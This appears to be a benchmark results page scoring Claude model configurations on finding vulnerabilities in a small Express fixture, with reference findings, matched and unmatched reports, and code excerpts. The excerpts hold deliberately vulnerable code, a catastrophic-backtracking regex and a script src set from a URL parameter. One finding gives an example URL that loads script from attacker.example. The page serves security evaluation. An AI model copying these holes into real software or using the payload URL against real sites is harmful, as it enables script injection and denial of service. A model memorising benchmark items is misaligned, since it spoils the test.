JS 1.0 · Project evidence

JS Snippet (Shelf Validator): Find Vulnerabilities

Small Express shelf validation page with a client-side dashboard widget loader.

Project purpose and scale

JS Snippet (Shelf Validator): Find Vulnerabilities

Small Express shelf validation page with a client-side dashboard widget loader.

Source files
4
Reference findings
3
Matched signatures
15
Unmatched signatures
8

Reference context

Deterministic reference findings

These findings define the project reference set for JS 1.0. Their presence does not establish exhaustive ground truth.

ClassSeverityLocationReference ID
xsshighpublic/dashboard.js:8jsk-dom-xss-1
redoshighapp.js:15jsk-redos-1
redoshighapp.js:16jsk-redos-2

Finding evidence

Reference-matched normalized signatures

Matched means agreement with the Snyk Code reference set, not independent ground-truth adjudication.

Severity and description show the deterministic most-frequent metadata variant; the final column records how many variants were observed across repetitions.

ConfigurationClassRepresentative severityLocationRecurrenceRepresentative descriptionMetadata variants
Claude Opus 4.6 Highredoshighapp.js:155 of 5A nested quantified regular expression is evaluated against user-controlled shelf code input.1
Claude Opus 4.6 Highredoshighapp.js:165 of 5A dynamically constructed nested quantified regular expression is evaluated against user-controlled shelf code input.1
Claude Opus 4.6 Highxsshighpublic/dashboard.js:85 of 5A URL search parameter is assigned to a dynamically-created script element source.1
Claude Opus 4.6 Mediumredoshighapp.js:155 of 5A nested quantified regular expression is evaluated against user-controlled shelf code input.1
Claude Opus 4.6 Mediumredoshighapp.js:165 of 5A dynamically constructed nested quantified regular expression is evaluated against user-controlled shelf code input.1
Claude Opus 4.6 Mediumxsshighpublic/dashboard.js:85 of 5A URL search parameter is assigned to a dynamically-created script element source.1
Claude Opus 4.7 Maxredoshighapp.js:155 of 5A nested quantified regular expression is evaluated against user-controlled shelf code input.1
Claude Opus 4.7 Maxredoshighapp.js:165 of 5A dynamically constructed nested quantified regular expression is evaluated against user-controlled shelf code input.1
Claude Opus 4.7 Maxxsshighpublic/dashboard.js:82 of 5A URL search parameter is assigned to a dynamically-created script element source.1
Claude Sonnet 4.6 Highredoshighapp.js:155 of 5A nested quantified regular expression is evaluated against user-controlled shelf code input.1
Claude Sonnet 4.6 Highredoshighapp.js:165 of 5A dynamically constructed nested quantified regular expression is evaluated against user-controlled shelf code input.1
Claude Sonnet 4.6 Highxsshighpublic/dashboard.js:85 of 5A URL search parameter is assigned to a dynamically-created script element source.1
Claude Sonnet 4.6 Mediumredoshighapp.js:155 of 5A nested quantified regular expression is evaluated against user-controlled shelf code input.1
Claude Sonnet 4.6 Mediumredoshighapp.js:164 of 5A dynamically constructed nested quantified regular expression is evaluated against user-controlled shelf code input.1
Claude Sonnet 4.6 Mediumxsshighpublic/dashboard.js:85 of 5A URL search parameter is assigned to a dynamically-created script element source.1

Finding evidence

Unmatched normalized signatures

Unmatched reports may be false-positive-shaped, adjacent, or likely product-gap candidates.

Severity and description show the deterministic most-frequent metadata variant; the final column records how many variants were observed across repetitions.

ConfigurationClassRepresentative severityLocationRecurrenceRepresentative descriptionMetadata variants
Claude Opus 4.7 Maxallocation-of-resources-without-limits-or-throttlingmediumapp.js:101 of 5The `code` query parameter is read with no length validation and the endpoint has no rate limiting, allowing unbounded input sizes which amplify the ReDoS issue and enable denial-of-service.1
Claude Opus 4.7 Maxcode-injectioncriticaldashboard.js:85 of 5DOM-based script injection / XSS: the `widget` query parameter from window.location.search is assigned directly to a dynamically created <script>'s src attribute and appended to document.head. An attacker can craft a URL like /?widget=https://attacker.example/evil.js to load and execute arbitrary JavaScript in the application's origin.5
Claude Sonnet 4.6 Highallocation-of-resources-without-limits-or-throttlingmediumapp.js:93 of 5The /shelves/validate endpoint applies no rate limiting or request throttling, making it trivial for an attacker to amplify the ReDoS impact by flooding the server with malicious requests.3
Claude Sonnet 4.6 Highallocation-of-resources-without-limits-or-throttlingmediumapp.js:101 of 5The `code` query parameter is accepted without any length restriction (`String(req.query.code || "")`), and the `/shelves/validate` endpoint has no rate-limiting middleware. This amplifies the ReDoS vulnerability: attackers can submit arbitrarily long inputs at high frequency, causing sustained CPU exhaustion on the single-threaded Node.js server.1
Claude Sonnet 4.6 Mediumallocation-of-resources-without-limits-or-throttlinghighapp.js:93 of 5The /shelves/validate endpoint applies no rate limiting, request-size caps, or regex-execution timeouts. An unauthenticated attacker can flood the endpoint with ReDoS payloads, starving the event loop and taking the service offline.3
Claude Sonnet 4.6 Mediuminformation-exposurelowindex.html1 of 5No Content-Security-Policy header or meta tag is present. This means there is no browser-enforced restriction on script sources, making the DOM-based XSS in dashboard.js trivially exploitable and preventing any defense-in-depth against script injection attacks.1
Claude Sonnet 4.6 Mediuminformation-exposurelowindex.html:11 of 5No Content-Security-Policy is configured (neither via HTTP header nor <meta> tag), so there is no browser-enforced restriction that would block or mitigate the DOM XSS script injection in dashboard.js. A CSP with a strict script-src directive would provide an important defence-in-depth layer.1
Claude Sonnet 4.6 Mediumothermediumindex.html1 of 5No Content-Security-Policy (CSP) header is set anywhere in the application. The absence of a CSP makes the arbitrary script-src injection in dashboard.js trivially exploitable, as browsers will load scripts from any origin without restriction.1

Model behavior

Recurrence by configuration

Stable recurrence measures repeated behavior, not independent validity.

ConfigurationMatched signaturesMatched all fiveUnmatched signaturesUnmatched all five
Claude Opus 4.6 High3300
Claude Opus 4.6 Medium3300
Claude Opus 4.7 Max3221
Claude Sonnet 4.6 High3320
Claude Sonnet 4.6 Medium3240

Inspectable source context

Reference locations

Apache-licensed fixture excerpts are shown around declared reference lines. They are evidence, not runnable examples.

public/dashboard.js:8jsk-dom-xss-1
    var script2 = document.createElement("script");

    script2.src = widget;
    document.head.appendChild(script2);
  }
app.js:15jsk-redos-1
  const regex2 = new RegExp(/([0-9]+)+\#/);

  const firstMatch = regex1.test(code);
  const secondMatch = regex2.test(code);
  res.json({ valid: firstMatch || secondMatch });
app.js:16jsk-redos-2

  const firstMatch = regex1.test(code);
  const secondMatch = regex2.test(code);
  res.json({ valid: firstMatch || secondMatch });
});

Interpretation boundary

Inspect divergence before classifying it

Unmatched reports may be false-positive-shaped, adjacent to the release reference scope, or likely valid product-gap candidates. Missed reference findings may expose representative-versus-systematic coverage behavior.

Return to explorer evidence